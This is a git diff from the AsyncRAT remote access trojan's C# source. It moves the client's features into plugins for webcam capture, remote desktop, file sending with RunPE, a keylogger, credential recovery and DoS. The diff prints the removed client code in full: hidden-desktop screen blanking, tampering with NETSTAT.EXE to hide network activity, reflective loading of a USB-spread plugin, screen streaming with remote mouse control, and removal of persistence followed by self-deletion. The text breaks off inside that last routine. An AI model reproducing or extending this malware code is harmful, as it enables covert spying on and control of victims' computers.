AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IFilterGraph2.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IGraphBuilder.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IMediaControl.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IMediaEventEx.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IPin.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IPropertyBag.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IReferenceClock.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/ISampleGrabber.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/Structures.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/Uuids.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/Win32.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/PhysicalConnectorType.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Uuids.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/VideoCapabilities.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/VideoCaptureDevice.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/VideoInput.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video/IVideoSource.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video/VideoEvents.cs (100%) create mode 100644 AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/WriteTools.cs rename AsyncRAT-C#/{Client/Handle Packet/HandleWebcam.cs => Plugin/RemoteCamera/RemoteCamera/Packet.cs} (67%) create mode 100644 AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Properties/AssemblyInfo.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/RemoteCamera.csproj create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop.sln create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/WriteTools.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Properties/AssemblyInfo.cs create mode 100644 AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/RemoteDesktop.csproj rename AsyncRAT-C#/{Client => Plugin/RemoteDesktop/RemoteDesktop}/StreamLibrary/Enums.cs (93%) rename AsyncRAT-C#/{Client => Plugin/RemoteDesktop/RemoteDesktop}/StreamLibrary/IUnsafeCodec.cs (95%) rename AsyncRAT-C#/{Client => Plugin/RemoteDesktop/RemoteDesktop}/StreamLibrary/IVideoCodec.cs (94%) rename AsyncRAT-C#/{Client => Plugin/RemoteDesktop/RemoteDesktop}/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs (99%) rename AsyncRAT-C#/{Client => Plugin/RemoteDesktop/RemoteDesktop}/StreamLibrary/src/JpgCompression.cs (97%) rename AsyncRAT-C#/{Client => Plugin/RemoteDesktop/RemoteDesktop}/StreamLibrary/src/LzwCompression.cs (98%) rename AsyncRAT-C#/{Client => Plugin/RemoteDesktop/RemoteDesktop}/StreamLibrary/src/NativeMethods.cs (95%) create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile.sln create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs rename AsyncRAT-C#/{Client/Handle Packet => Plugin/SendFile/SendFile/Handler}/HandleSendTo.cs (85%) create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleUninstall.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/WriteTools.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/Methods.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/Properties/AssemblyInfo.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/RunPE.cs create mode 100644 AsyncRAT-C#/Plugin/SendFile/SendFile/SendFile.csproj create mode 100644 AsyncRAT-C#/Server/Algorithm/GetHash.cs create mode 100644 AsyncRAT-C#/Server/Handle Packet/HandleDos.cs delete mode 100644 AsyncRAT-C#/Server/Resources/PluginRecovery.dll delete mode 100644 AsyncRAT-C#/Server/Resources/PluginRunPE.dll delete mode 100644 AsyncRAT-C#/Server/Resources/PluginUsbSpread.dll diff --git a/AsyncRAT-C#/AsyncRAT-Sharp.sln b/AsyncRAT-C#/AsyncRAT-Sharp.sln index 6a96f0f..ef361b0 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp.sln +++ b/AsyncRAT-C#/AsyncRAT-Sharp.sln @@ -7,6 +7,30 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csp EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{C3C49F45-2589-4E04-9C50-71B6035C14AE}" EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Plugins", "Plugins", "{0DE8DA5D-061D-4649-8A56-48729CF1F789}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Chat", "Plugin\Chat\Chat\Chat.csproj", "{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Extra", "Plugin\Extra\Extra\Extra.csproj", "{424B81BE-2FAC-419F-B4BC-00CCBE38491F}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileManager", "Plugin\FileManager\FileManager\FileManager.csproj", "{BEE88186-769A-452C-9DD9-D0E0815D92BF}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LimeLogger", "Plugin\LimeLogger\LimeLogger\LimeLogger.csproj", "{DAFE686A-461B-402B-BBD7-2A2F4C87C773}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Miscellaneous", "Plugin\Miscellaneous\Miscellaneous\Miscellaneous.csproj", "{37E20BAF-3577-4CD9-BB39-18675854E255}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Options", "Plugin\Options\Options\Options.csproj", "{6AA4E392-AAAF-4408-B550-85863DD4BAAF}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ProcessManager", "Plugin\ProcessManager\ProcessManager\ProcessManager.csproj", "{D640C36B-2C66-449B-A145-EB98322A67C8}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Recovery", "Plugin\Recovery\Recovery\Recovery.csproj", "{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteCamera", "Plugin\RemoteCamera\RemoteCamera\RemoteCamera.csproj", "{619B7612-DFEA-442A-A927-D997F99C497B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteDesktop", "Plugin\RemoteDesktop\RemoteDesktop\RemoteDesktop.csproj", "{9042B543-13D1-42B3-A5B6-5CC9AD55E150}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SendFile", "Plugin\SendFile\SendFile\SendFile.csproj", "{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -21,10 +45,67 @@ Global {C3C49F45-2589-4E04-9C50-71B6035C14AE}.Debug|Any CPU.Build.0 = Debug|Any CPU {C3C49F45-2589-4E04-9C50-71B6035C14AE}.Release|Any CPU.ActiveCfg = Release|Any CPU {C3C49F45-2589-4E04-9C50-71B6035C14AE}.Release|Any CPU.Build.0 = Release|Any CPU + {EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.Build.0 = Release|Any CPU + {424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Release|Any CPU.Build.0 = Release|Any CPU + {BEE88186-769A-452C-9DD9-D0E0815D92BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {BEE88186-769A-452C-9DD9-D0E0815D92BF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {BEE88186-769A-452C-9DD9-D0E0815D92BF}.Release|Any CPU.ActiveCfg = Release|Any CPU + {BEE88186-769A-452C-9DD9-D0E0815D92BF}.Release|Any CPU.Build.0 = Release|Any CPU + {DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Release|Any CPU.Build.0 = Release|Any CPU + {37E20BAF-3577-4CD9-BB39-18675854E255}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {37E20BAF-3577-4CD9-BB39-18675854E255}.Debug|Any CPU.Build.0 = Debug|Any CPU + {37E20BAF-3577-4CD9-BB39-18675854E255}.Release|Any CPU.ActiveCfg = Release|Any CPU + {37E20BAF-3577-4CD9-BB39-18675854E255}.Release|Any CPU.Build.0 = Release|Any CPU + {6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Release|Any CPU.Build.0 = Release|Any CPU + {D640C36B-2C66-449B-A145-EB98322A67C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D640C36B-2C66-449B-A145-EB98322A67C8}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D640C36B-2C66-449B-A145-EB98322A67C8}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D640C36B-2C66-449B-A145-EB98322A67C8}.Release|Any CPU.Build.0 = Release|Any CPU + {8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Release|Any CPU.Build.0 = Release|Any CPU + {619B7612-DFEA-442A-A927-D997F99C497B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {619B7612-DFEA-442A-A927-D997F99C497B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {619B7612-DFEA-442A-A927-D997F99C497B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {619B7612-DFEA-442A-A927-D997F99C497B}.Release|Any CPU.Build.0 = Release|Any CPU + {9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Release|Any CPU.Build.0 = Release|Any CPU + {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection + GlobalSection(NestedProjects) = preSolution + {EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {424B81BE-2FAC-419F-B4BC-00CCBE38491F} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {BEE88186-769A-452C-9DD9-D0E0815D92BF} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {DAFE686A-461B-402B-BBD7-2A2F4C87C773} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {37E20BAF-3577-4CD9-BB39-18675854E255} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {6AA4E392-AAAF-4408-B550-85863DD4BAAF} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {D640C36B-2C66-449B-A145-EB98322A67C8} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {8BFC8ED2-71CC-49DC-9020-2C8199BC27B6} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {619B7612-DFEA-442A-A927-D997F99C497B} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {9042B543-13D1-42B3-A5B6-5CC9AD55E150} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {B9F2462F-603A-41C4-9CFC-1FAC60B4731C} EndGlobalSection diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 0afea06..0116154 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -41,7 +41,7 @@ 4 - true + false Auto @@ -52,7 +52,7 @@ TRACE prompt 4 - true + false Auto false @@ -72,72 +72,13 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Form - - - FormChat.cs - + @@ -148,14 +89,6 @@ - - - - - - - - @@ -167,10 +100,5 @@ false - - - FormChat.cs - - \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs b/AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs deleted file mode 100644 index e917816..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Runtime.InteropServices; -using System.Text; - -namespace Client.Handle_Packet -{ - public static class HandleBlankScreen - { - [DllImport("user32.dll")] - public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); - - [DllImport("user32.dll")] - private static extern bool SwitchDesktop(IntPtr hDesktop); - - [DllImport("user32.dll")] - public static extern bool CloseDesktop(IntPtr handle); - - [DllImport("user32.dll")] - public static extern bool SetThreadDesktop(IntPtr hDesktop); - - [DllImport("user32.dll")] - public static extern IntPtr GetThreadDesktop(int dwThreadId); - - [DllImport("kernel32.dll")] - public static extern int GetCurrentThreadId(); - enum DESKTOP_ACCESS : uint - { - DESKTOP_NONE = 0, - DESKTOP_READOBJECTS = 0x0001, - DESKTOP_CREATEWINDOW = 0x0002, - DESKTOP_CREATEMENU = 0x0004, - DESKTOP_HOOKCONTROL = 0x0008, - DESKTOP_JOURNALRECORD = 0x0010, - DESKTOP_JOURNALPLAYBACK = 0x0020, - DESKTOP_ENUMERATE = 0x0040, - DESKTOP_WRITEOBJECTS = 0x0080, - DESKTOP_SWITCHDESKTOP = 0x0100, - - GENERIC_ALL = (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | - DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | - DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP), - } - - // old desktop's handle, obtained by getting the current desktop assigned for this thread - static readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId()); - - // new desktop's handle, assigned automatically by CreateDesktop - static IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero); - - public static bool switcher = false; //the screen is not blanked be default so this should be false - public static void RunBlankScreen() - { - try - { - //light switch logic CopyPasta by MrDevBot - if (switcher == false) //The current screen is NOT blanked and needs to be - { - SwitchDesktop(hNewDesktop); - switcher = true; //sets the switch to on for next click - return; //returns to calling function - } - else //the screen is blanked and should be switched back to old - { - SwitchDesktop(hOldDesktop); - switcher = false; //sets the switch to off for next click - return; //returns to calling function - } - } - catch { } - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs deleted file mode 100644 index 80cf490..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs +++ /dev/null @@ -1,41 +0,0 @@ -using Client.MessagePack; -using Client.Connection; -using System; -using System.Diagnostics; -using System.Reflection; -// -// │ Author : NYAN CAT -// │ Name : LimeUSB v0.3 - -// Contact Me : https://github.com/NYAN-x-CAT -// This program Is distributed for educational purposes only. -// - -namespace Client.Handle_Packet -{ - public class HandleLimeUSB - { - public HandleLimeUSB(MsgPack unpack_msgpack) - { - try - { - Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); - MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize"); - object injObj = loader.CreateInstance(meth.Name); - int count = (int)meth.Invoke(injObj, null); - if (count > 0) - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "usb"; - msgpack.ForcePathObject("Count").AsString = count.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); - } - } - catch (Exception ex) - { - Debug.WriteLine(ex.Message); - Packet.Error(ex.Message); - } - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs b/AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs deleted file mode 100644 index b4f4e1b..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs +++ /dev/null @@ -1,50 +0,0 @@ -using Client.Helper; -using System; -using System.Diagnostics; -using System.IO; - -namespace Client.Handle_Packet -{ - public static class HandleNetStat - { - static bool switcher = false; - static readonly string OriginalFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.EXE"); - static readonly string BackupFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.Backup.txt"); - - public static void RunNetStat() - { - //light switch logic CopyPasta by MrDevBot - if (!Methods.IsAdmin()) return; //if we are not admin return - - if (switcher == false) //The current screen is NOT blanked and needs to be - { - try - { - File.Move(OriginalFile, BackupFile); - } - catch (Exception ex)//probably AntiTamper protection or Admin Privilages - { - Debug.WriteLine(ex.Message); - Packet.Error(ex.Message); - } - - switcher = true; //sets the switch to on for next click - return; //returns to calling function - } - else //the screen is blanked and should be switched back to old - { - try - { - File.Move(BackupFile, OriginalFile); - } - catch (Exception ex)//probably AntiTamper protection or Admin Privilages - { - Debug.WriteLine(ex.Message); - Packet.Error(ex.Message); - } - switcher = false; //sets the switch to off for next click - return; //returns to calling function - } - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs deleted file mode 100644 index ee48ac7..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using System.IO; -using System.Drawing.Imaging; -using System.Drawing; -using System.Windows.Forms; -using System.Runtime.InteropServices; -using Client.MessagePack; -using Client.Connection; -using Client.StreamLibrary.UnsafeCodecs; -using Client.Helper; -using Client.StreamLibrary; - -namespace Client.Handle_Packet -{ - public class HandleRemoteDesktop - { - public HandleRemoteDesktop(MsgPack unpack_msgpack) - { - try - { - switch (unpack_msgpack.ForcePathObject("Option").AsString) - { - case "capture": - { - CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger)); - break; - } - - case "mouseClick": - { - Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); - Cursor.Position = position; - mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1); - break; - } - - case "mouseMove": - { - Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); - Cursor.Position = position; - break; - } - } - } - catch { } - } - public void CaptureAndSend(int quality, int Scrn) - { - TempSocket tempSocket = new TempSocket(); - string hwid = Methods.HWID(); - Bitmap bmp = null; - BitmapData bmpData = null; - Rectangle rect; - Size size; - MsgPack msgpack; - IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); - MemoryStream stream; - while (tempSocket.IsConnected && ClientSocket.IsConnected) - { - try - { - bmp = GetScreen(Scrn); - rect = new Rectangle(0, 0, bmp.Width, bmp.Height); - size = new Size(bmp.Width, bmp.Height); - bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); - - using (stream = new MemoryStream()) - { - unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream); - - if (stream.Length > 0) - { - msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("ID").AsString = hwid; - msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); - msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(Screen.AllScreens.Length); - tempSocket.Send(msgpack.Encode2Bytes()); - } - } - bmp.UnlockBits(bmpData); - bmp.Dispose(); - } - catch { break; } - } - try - { - bmp?.UnlockBits(bmpData); - bmp?.Dispose(); - tempSocket?.Dispose(); - } - catch { } - } - - private Bitmap GetScreen(int Scrn) - { - Rectangle rect = Screen.AllScreens[Scrn].Bounds; - try - { - Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb); - using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) - { - gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy); - return bmpScreenshot; - } - } - catch { return new Bitmap(rect.Width, rect.Height); } - } - - [DllImport("user32.dll")] - static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo); - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs deleted file mode 100644 index 52e6194..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs +++ /dev/null @@ -1,40 +0,0 @@ -using Client.MessagePack; -using Client.Connection; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Linq; -using System.Text; -using System.Windows.Forms; -using System.Threading; -namespace Client.Handle_Packet -{ - public class HandleThumbnails - { - public HandleThumbnails() - { - try - { - Thread.Sleep(new Random().Next(3000)); - Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); - using (Graphics g = Graphics.FromImage(bmp)) - using (MemoryStream memoryStream = new MemoryStream()) - { - g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero); - thumb.Save(memoryStream, ImageFormat.Jpeg); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "thumbnails"; - msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray()); - ClientSocket.Send(msgpack.Encode2Bytes()); - thumb.Dispose(); - } - bmp.Dispose(); - } - catch { } - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs deleted file mode 100644 index 13343c4..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs +++ /dev/null @@ -1,59 +0,0 @@ -using Client.Helper; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Security.Principal; -using System.Text; -using System.Windows.Forms; - -namespace Client.Handle_Packet -{ - public class HandleUninstall - { - public HandleUninstall() - { - if (Convert.ToBoolean(Settings.Install)) - { - try - { - if (!Methods.IsAdmin()) - Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteValue(Settings.InstallFile); - else - { - Process.Start(new ProcessStartInfo() - { - FileName = "schtasks", - Arguments = "/delete /f /tn " + @"""'" + Settings.InstallFile + @"""'", - CreateNoWindow = true, - ErrorDialog = false, - UseShellExecute = false, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - } - catch { } - } - ProcessStartInfo Del = null; - try - { - Del = new ProcessStartInfo() - { - FileName = "cmd.exe", - Arguments = "choice /C Y /N /D Y /T 2 & Del \"" + Application.ExecutablePath + "\"", - WindowStyle = ProcessWindowStyle.Hidden, 